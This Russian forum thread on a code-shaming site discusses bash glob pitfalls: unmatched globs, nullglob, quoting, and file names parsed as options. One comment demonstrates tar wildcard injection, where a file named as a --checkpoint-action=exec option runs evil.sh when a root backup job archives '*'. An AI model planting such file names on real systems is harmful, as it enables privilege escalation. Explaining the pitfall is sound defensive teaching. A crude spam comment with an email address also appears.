Beri bash i ebash / Говнокод #13782 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
#!/bin/bash
for i in *.root
 do
    if [ ! -e "$i" ] # Проверка наличия файла.
     then
        echo "Файл $i не найден."; echo
        continue
    fi
# ... etc ...

Не, ну а вдруг

Запостил: Stallman Stallman, (Updated )

Комментарии (70) RSS

  • > Не, ну а вдруг

    Вообще-то ваш любимый баш в случае отсутствия .root, занесет в i строку "*.root" так то!
    Ответить
    • А я впервые узнал об этой фиче только испытав ее на своей жопе...

      Скрипт искал рядом с собой tgz файлы, создавал папку с именем, полученным отрезанием расширения tgz, распаковывал туда архив, что-то там внутри обрабатывал, и удалял папку и сам архив. Все было бы красиво и безоблачно, если бы я не запустил скрипт вхолостую, без tgz файлов...

      for засунул в переменную *.tgz, после отрезания расширения получилась просто *, и скрипт, с достоинством настоящего самурая, вынес свой конфиг, свой лог и самого себя 🙂
      Ответить
      • > удалял папку и сам архив
        Эпично... Но подозреваю отсутствие двойных кавычек, некомильфо.

        Впрочем, shell вообще часто радует, особенно если захотеть написать с намеком на портабельность (тот же echo -e в убунте).

        Не так давно узнал, что shell-ы удаляют не только последний перевод строки, а все финальные. Забавно было получать realpath от file=$'smth\n' .

        <оффтоп>Кстати кто-нибудь в курсе чем мотивируют, что glob без совпадений не возвращает пустую строку? (как всякие nullglob в bash/zsh)
        Ответить
        • > подозреваю отсутствие двойных кавычек
          Ну естественно 🙂 Пока гром не грянет, админ кавычки не поюзает.

          > тот же echo -e в убунте
          А что с ним не так?

          > glob без совпадений не возвращает пустую строку
          Ну например запускаем cat *.dat. Сейчас он говорит cat: "*.dat: No such file or directory". А с nullglob'ом будет "зависать" (читать с stdin'а). Сменили шило на мыло...
          Ответить
          • > Пришлось привлечь к делу сишку. Откуда он вообще появился? 🙂
            Случайно как-то, уже не помню, по-хорошему переименовать, конечно, надо. А тут стало интересно. (А вообще частенько из *.zip кириллица валится всякая хрень.)
            Внезапно, проще так: file=$'smth\n'; touch "$file" ($'\..' - башизм)

            > А что с ним не так?
            В dash/echo нет такой опции 🙂 (по-крайней мере когда-то не было). http://pubs.opengroup.org/onlinepubs/009696799/utilities/echo.html :
            It is not possible to use echo portably across all POSIX systems unless both -n (as the first argument) and escape sequences are omitted. The printf utility can be used portably..
            (/bin/echo -е портируем в пределах gnu/coreutils, а вот встроенный - в пределах интерпретатора)

            > Сменили шило на мыло...
            Точно, просто почему-то я сидел на двух стульях: null - для внутренних, "" - для внешних. Но у "шила" еще один момент: литеральный "*.root" может существовать - в любом случае нужно фс дергать.
            Ответить
            • Ну еще вот такой вариант есть:

              - вообще прерывать исполнение при пустом глобе. И выводить "bash: *.dat: No such file or directory", даже не запуская саму программу.
              - а в for'е пусть nullglob будет всегда включен. Это, вроде как, единственное место, где допустимо и очень желательно раскрытие в ничто.
              Ответить
              • > вообще прерывать исполнение при пустом глобе
                Тоже не айс: rm *.o *.old (а какие действительно есть - сразу не известно)

                > желательно раскрытие в ничто
                Ну конкретно для баша в массивах бы еще не помешало: arr=(*.root)
                Ответить
                • Имхо, сама идея делать скриптовый язык (аля *sh, bat/cmd), совместимый по синтаксису с командной строкой, далеко не самая удачная. Да, это помогает нубу быстро освоиться, и ваять простенькие скриптики на 5-10 строк банальной копипастой... Но вот потом, на более-менее серьезных скриптах, начинается жопа...
                  Ответить
                  • Почему-то у "неудачных" идей поразительная жизнеспособность. М.б. они не такие неудачные как кажется.
                    Ну по крайней мере логично написать один раз и сохранить ряд (пачку) инструкций в файл, и выполнять их.
                    Потом раз, стало много копипаста - нужен цикл.
                    Потом хочу небольшое ветвление, а то неудобно!
                    Потом эх! вот бы еще аргументы передавать.
                    Так тихо получили кашу из топораязык.
                    Ответить
                    • А потом изо всех щелей лезут косяки и костыли... И в итоге, чтобы писать более-менее надежный код на этом "простом и интуитивном языке", приходится учить гораздо больше, нежели на каком-нибудь "сложном и неудобном питоне".

                      Посмотри в моем комменте ниже сниппет про файл с именем -rf. Вот отличный пример того, к чему приводит "удобство".
                      Ответить
                      • Не. Ну это ж эволюционное развитие, когда каждый шаг делался ради фичи. Но без оглядки что получается в целом.

                        Кстати примерно тоже и в крестах. Отдельно от всего фича полезная, а в совокупности превращает язык в минное поле.

                        >ниже сниппет про файл с именем -rf
                        Видел. Это прекрасно.
                        Ответить
                    • > Почему-то у "неудачных" идей поразительная жизнеспособность
                      Потому что они, как правило, очень хорошо удовлетворяют текущие потребности большинства (за счет неминуемого пиздеца в будущем, которое далеко и никого не волнует, пока не коснется их лично).

                      Если отойти от программирования, и взглянуть на тот же макдональдс, то мы увидим ту самую "неудачную идею с поразительной жизнеспособностью": толпы людей жрут фастфуд не думая о своем ожирении, ибо удобно 😉
                      Ответить
                      • Если фастфуд жрать нечасто, то не будет.

                        Относительно баша - его можно рассматривать не как хуевую версию перла/фитона, а как хорошую - бата.
                        Ответить
                        • > Если фастфуд жрать нечасто, то не будет.
                          Если баш юзать не для всего подряд, то все норм 😉

                          > как хорошую - бата.
                          Ну да, как пакетный файл для примитивных задач баш хорош.

                          > не как хуевую версию перла/фитона
                          А вот для более серьезного скриптинга, когда надо прочитать какой-то файл, бегать в цикле по директориям, юзать регулярки, баш становится очень неудобным. Если не знать и не учитывать все неожиданности и подвохи - код будет дырявым бажным говном. Если учитывать - длинной некрасивой портянкой намотанной на костыли, которая на обычных языках была бы короче и наглядней.

                          И да, баш сложен. Изучение всех этих тонкостей всяко занимает больше времени, чем изучение того же питона, который, за исключением пары мест, туп как пробка и логичен.

                          В общем у всего есть своя область. И у баша это написание небольших скриптов, не требующих особой надежности, на скорую руку.
                          Ответить
                          • >А вот для более серьезного скриптинга, когда надо прочитать какой-то файл, бегать в цикле по директориям, юзать регулярки, баш становится очень неудобным.

                            Та ну нах … даже поддержка функций есть
                            Ответить
                            • > даже поддержка функций есть
                              Из которых даже можно вернуть результат (через глобальную переменную).
                              Ответить
                  • Доигрался:
                    $ echo 1 > "--help"
                    $ rm *
                    Usage: rm [OPTION]... FILE...
                    $ ls -l *
                    Usage: ls [OPTION]... [FILE]...
                    Кошмарный сон линуксоида 😉
                    Ответить
                    • У меня под cygwin rm ./-* излечил этот сон (или rm ./*, забрав с собой папку). Поскольку я не линуксоид/юниксоид, считаю сон не кошмарным 🙂
                      (т.е. если неюниксоид смог удалить печаль, то юниксоиду бояться нечего)
                      Ответить
                      • > считаю сон не кошмарным
                        Ну это потому что видел в первой строке, как создают файл. Без этого батхертов было бы больше. Как минимум пришлось бы вспоминать альтернативные способы получения списка файлов, или тупо запустить mc 😉
                        Ответить
                        • > это заставило бы вспомнить альтернативные способы получения списка файлов
                          Я сначала выполнил ls без параметров, чтобы убедиться, что у меня создан файл -rf или --help, чтобы приступить к написанию "ls *". Всё работало без альтернативных способов.
                          Ответить
                          • Ну ок, раз уж эт было скучно и надуманно, вот вам эскалация привилегий через быдлобэкапилку (коих тысячи):
                            $ # злобный буратино:
                            $ echo 1 > "--checkpoint-action=exec=\"export PATH=.;evil.sh\""
                            $ echo "echo profit" >evil.sh
                            $ chmod +x ./evil.sh
                            $ # быдлобекапилка по крону от рута:
                            $ tar -zcf path-to-backup.tgz *
                            profit
                            profit
                            profit
                            Ответить
                              • Однако, подобную технику можно использовать как фичу - для индивидуального подхода к каждому каталогу.
                                ООП + утиная типизация в ФС. Вместе с данными (1.txt, xxx.log, ...) хранятся методы (-что-то). Для некоторых каталогов перепределены методы ls, rm и т.д.
                                Ответить
                                • > подобную технику можно использовать как фичу
                                  Не получится. Все эти опции в кучу смешаются, и команды начнут выдавать ошибки о неизвестных опциях...

                                  А насчет переопределения методов для некоторых каталогов - fuse вам в руки.
                                  Ответить
                              • > КАк эта хуйня работает?
                                Звездочка раскрывается в список всех файлов, находящихся в каталоге. В результате имя файла "--checkpoint-action..." (да, в *nix'ах в именах файлов можно юзать любые символы помимо '\0' и '/') попадает в командную строку tar'а. Но т.к. автор быдлобекапилки не указал опцию -- чтобы tar понял, что дальше аргументов нет, tar парсит --checkpoint-action как опцию. Данная опция заставляет его выполнять некое действие каждый блок (10кб), в нашем случае это действие - произвольный код из evil.sh.

                                Вот как-то так.
                                Ответить
                                • Бля, это гениально. Можно какого-нибудь админа подловить, который тар от привилегированного пользователя запустит.
                                  Ответить
                    • Только недавно с похожим сталкивался, что баш сам раскрывает маски, а виндовый шелл передаёт как есть, оставляя обработку масок на совести программы.

                      Честно говоря, подозреваю что в данном конкретном случае виндовый подход лучше. Хотя бы вот таких факапов не возникает.
                      Ответить
                      • Лол, написал комент и увидел твой, один в один.

                        Еще лучше было бы если бы список файлов передавался каким-то массивом.
                        Ответить
                    • Побочное действие линупсовых масок, которые разворачиваются шеллом? Под виндой они передаются программе, и она сама должна уметь с ними работать (поиск файлов вместо open()).

                      А вообще - достойно отдельного говнокода.
                      Ответить
                  • у многих программ есть ключ --, после которого всё считается файлами
                    Ответить
                    • $ touch ./--help
                      $ ls *
                      Использование: ls [КЛЮЧ]… [ФАЙЛ]…
                      Выдаёт информацию о ФАЙЛАХ (по умолчанию о текущем каталоге).
                      ....
                      $ ls -- *
                      --help
                      
                      ...
                      Ответить
                    • > есть ключ --
                      Само собой есть. Но сколько человек его юзает? 🙂

                      Как я и писал выше - кодить на баше просто и красиво ровно до тех пор, пока не требуется надежность и поддерживаемость. Иначе это геморрой с изучением тонкостей каждой команды и каждой синтаксической конструкции. Даже для простейших конструкций типа "для каждого файла в каталоге" или "заменить че-то на че-то регуляркой" нужно знать правильные идиомы.
                      Ответить
                      • Вот возьмем тот же питон. Как там пройти по всем текстовикам в баше? Да очень тупо:
                        for i in glob("*.txt"):
                            print i
                        Цикл не попытается выполниться с "*.txt", если нет файлов (в баше для этого надо знать идиому). Аргумент принта, внезапно, не распадется по пробелу (в баше для этого надо знать идиому). Принт не посчитает файл с именем "--help" своей опцией (в баше опять надо знать идиому, и прочесть ман по соотв. команде).
                        Ответить
                        • Выучить надо на порядки больше, чем в классических скриптовых языках. Код получается сложнее, длиннее.

                          Ну и где же эта хваленые простота и удобство баша? 🙂
                          Ответить
                          • лпп: в _баше_ есть nullglob

                            Вот вам "портабл":
                            find ! -name . -prune -name '*.txt' -printf '%f\n'

                            А в вашем питоне glob пропустит .якобы-так-и-задумано.txt
                            Ответить
                            • > nullglob
                              Который ломает к хуям все остальные команды с глоббингом, и нужно включать и выключать его перед каждым фором.

                              > А в вашем питоне glob пропустит .якобы-так-и-задумано.txt
                              Вы так говорите, как-будто башевский глоббинг их не пропускает 😉

                              Если надо хиддены - есть os.listdir + fnmatch, о которых, даже упоминается в доке по glob. Но часто хиддены и не надо обрабатывать, они же неспроста скрыты.

                              > find ! -name . -prune -name '*.txt' -printf '%f\n'
                              Ахуеть интуитивный способ.

                              Я же не говорю, что в шелл скриптах невозможно что-то реализовать. Нет, вполне реально. Просто на обычных скриптовых языках это пишется быстрее, и читается лучше.
                              Ответить
                              • Да, кстати, способ с find багует на файлах, имена которых содержат '\n'.
                                Ответить
                              • > как-будто башевский глоббинг ..
                                Дык и говорю: питон такой весь в белом, а как присмотришься - из посикса всякую дрянь тащит. Говорят, фича скрытых файлов возникла из за "оптимизации" ислючения "." и ".." из вывода ls.

                                > способ с find багует
                                Да вроде нет: он в зависимости от tty выводит либо "..?", либо честно, добавьте "| cat".
                                Ответить
                                • > Говорят, фича скрытых файлов возникла из за "оптимизации" ислючения "." и ".." из вывода ls
                                  Вполне возможно. А ".." всяко возникла из-за "оптимизации" первых файловых систем - чтобы в качестве айдишки каталога/файла юзать только одно число, и по нему легко было бы узнавать родительский каталог.

                                  > Да вроде нет
                                  Ну я вот тестил for i in твойкод; do echo "[$i]"; done. Имя файла с пробелом в имени разорвало пополам. Надо или IFS менять на \n, или юзать find + exec вместо for + find. Тогда работает.

                                  UPD: Рвет имена не с энтером, а с пробелом. А при IFS = \n начнет наоборот.
                                  Ответить
                                  • > Ну я вот тестил for
                                    Это "как бы" весь юз-кейс был: с for-ом и print-ом.
                                    Ответить
                        • Кстати, в питоне маска прыщеблядская, где ? означает один символ (в винде - 0 или 1). Сидел ночью и ебал себе мозги, почему у меня нихуя не работает.
                          Ответить
                  • > echo 1 > "-rf"

                    Пизне́с, насяйника!

                    Даже в ДОСе таких проблем не было!

                    Разворачивание масок шеллом не нужно.
                    Ответить
                    • Что значит даже, это прыщеизобретение. С одной стороны позволяет использовать маски без поддержки в софте, с другой стороны это.
                      Ответить
                      • Кстати, где это дерьмо появилось: в Юниксе или когда появился bash в Линуксе?

                        В ДОС это не протолкнули по счастливой случайности: длина командной строки была ограничена и больше пары десятков файлов туда бы не пролезло. В результате досовскому софту пришлось разворачивать маски, что и унаследовала Винда.
                        Ответить
                        • А хз.

                          Ну объективно говоря, шелл что в досе, что в винде всегда был говном. Так что можно сказать, что прыщешелл слишком гибкий, гибкий не там где надо.
                          Ответить
                      • Что есть удобно в шелле, но для скриптов - говнофича из разряда слабой типизации в языках программирования.
                        Ответить
        • > Забавно было получать realpath от file=$'smth\n'
          Я еле создал файл с переводом строки в имени. Пришлось привлечь к делу сишку. Откуда он вообще появился? 🙂

          P.S. Последнее время мне приходит в голову мысль, что баш не нужен. Если его юзать не читая манов, на интуиции, то ловится куча ошибок. А если читать маны и писать аккуратно - то проще юзать какой-нибудь питон или перл: в них хотя бы логика есть, а не только исторически сложившиеся читы.
          Ответить
          • > Я еле создал файл с переводом строки в имени. Пришлось привлечь к делу сишку. Откуда он вообще появился? 🙂
            tr в помощь, можно и не такое создать, даже пустую строку можно.
            Ответить
            • Можно работоспособную команду увидеть? Сгенерить строку можно и банальным эхом, а вот тач или перенаправление у меня этот энтер удаляли...
              Ответить
              • Так для этого даже tr не нужен, просто:
                $ touch "foo
                bar"
                $ echo *

                * ls не покажет перенос строки в имени файла по каким-то своим соображениям, скорее всего изза форматирования.
                Ответить
                • О, спасибо! Таким способом и в конце имени получается энтер вставить.
                  Ответить
          • Jedem das seine. С какого-то уровня сложности баш становится УГ, с какого-то и питон, и наступает мир ынтырпрайза.
            Ответить
        • <offtop>
          fclose(fopen("\x20\x5a\xd2\x89\x41\xd2\x89\x4c\xd2\x89\x47\xd2\x89\x4f\xd2\x89", "w"));
          </offtop>
          Ответить
          • Неправославно) : смутно помню, что такой кружок - старославянский коэффициент тысяч(?), сооствественно, вокруг кириллицы.
            Ответить
          • ...Глотать или не глотать вот в чем вопрос.
            Я уже нашел ответ.
            ГЛОТАТЬ, ОДНОЗНАЧНО!
            Если ты крут в натуре, напиши мне, не ссы:
            tarasber@mail.ru
            сделай меня мужчиной.
            Ответить

Добавить комментарий

Помни, guest, за тобой могут следить!

    А не использовать ли нам bbcode?


    8